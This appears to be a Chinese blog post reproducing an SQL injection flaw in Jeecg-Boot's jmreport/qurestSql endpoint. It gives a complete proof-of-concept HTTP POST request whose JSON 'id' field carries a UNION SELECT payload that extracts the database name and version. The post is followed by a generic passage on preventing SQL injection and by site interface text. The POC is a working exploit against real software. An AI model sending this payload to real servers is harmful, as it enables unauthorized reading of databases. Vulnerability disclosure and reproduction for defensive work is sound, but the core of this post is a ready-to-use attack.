Jeecg-Boot /jeecg-boot/jmreport/qurestSql接口sql注入漏洞复现

一、Jeecg-Boot介绍

JeecgBoot 是一款基于代码生成器的低代码开发平台!前后端分离架构 SpringBoot2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发! JeecgBoot 引领新的低代码开发模式(OnlineCoding-> 代码生成器-> 手工MERGE), 帮助解决Java项目70%的重复工作,让开发更多关注业务。既能快速提高效率,节省研发成本,同时又不失灵活性。

二、漏洞复现

Jeecg-Boot 的/jeecg-boot/jmreport/qurestSql接口存在sql注入漏洞,url访问 /jeecg-boot/jmreport/qurestSql出现如下页面

开启抓包工具,修改请求报文方式为POST,并修改数据包,执行查询出了目标数据库名称和数据库版本。

POC如下:

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xx.xx.xx.xx:xxxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 131

{"apiSelectId": "1290104038414721025", "id": "1' union all select 1,2,database(),version(),5,6,7 from rep_demo_gongsi where id='1"}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Jeecg-boot是一款基于Spring Boot和Mybatis-Plus开发的快速开发平台。在使用Jeecg-boot时,尤其是在进行数据库操作时,需要注意防范SQL注入攻击。 SQL注入是一种常见的安全漏洞,攻击者通过在输入框或URL参数中注入恶意的SQL语句,以达到绕过系统验证和获取非授权信息的目的。对于Jeecg-boot来说,防止SQL注入攻击的措施主要包括以下几点: 1. 参数校验与过滤:在接收和处理用户输入的数据时,应进行合法性检查和过滤。例如,可以使用正则表达式对输入数据进行验证,并排除可能的恶意字符。 2. 使用参数化查询:对于用户输入的数据,尽量使用参数化查询(Prepared Statement),而不是拼接SQL语句。参数化查询可以将输入的数据当作参数传递给数据库,避免了直接将用户输入拼接到SQL语句中的风险。 3. 权限控制:在系统设计和开发中,要根据用户角色和权限设置合适的数据访问权限。做到只有授权的用户才能执行特定的数据库操作,从而减少了注入攻击的可能性。 4. 使用ORM框架:Jeecg-boot默认使用Mybatis-Plus作为持久层框架,Mybatis-Plus提供了ORM(对象关系映射)功能,可以有效地避免SQL注入攻击。ORM框架会将对象与数据库表进行映射,自动生成SQL语句,减少手动编写SQL的机会。 综上所述,为了防止Jeecg-boot发生SQL注入,我们可以采取参数校验与过滤、使用参数化查询、权限控制以及使用ORM框架等措施。同时,在开发和维护过程中,还应关注相关安全漏洞的更新和修复,提高系统的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值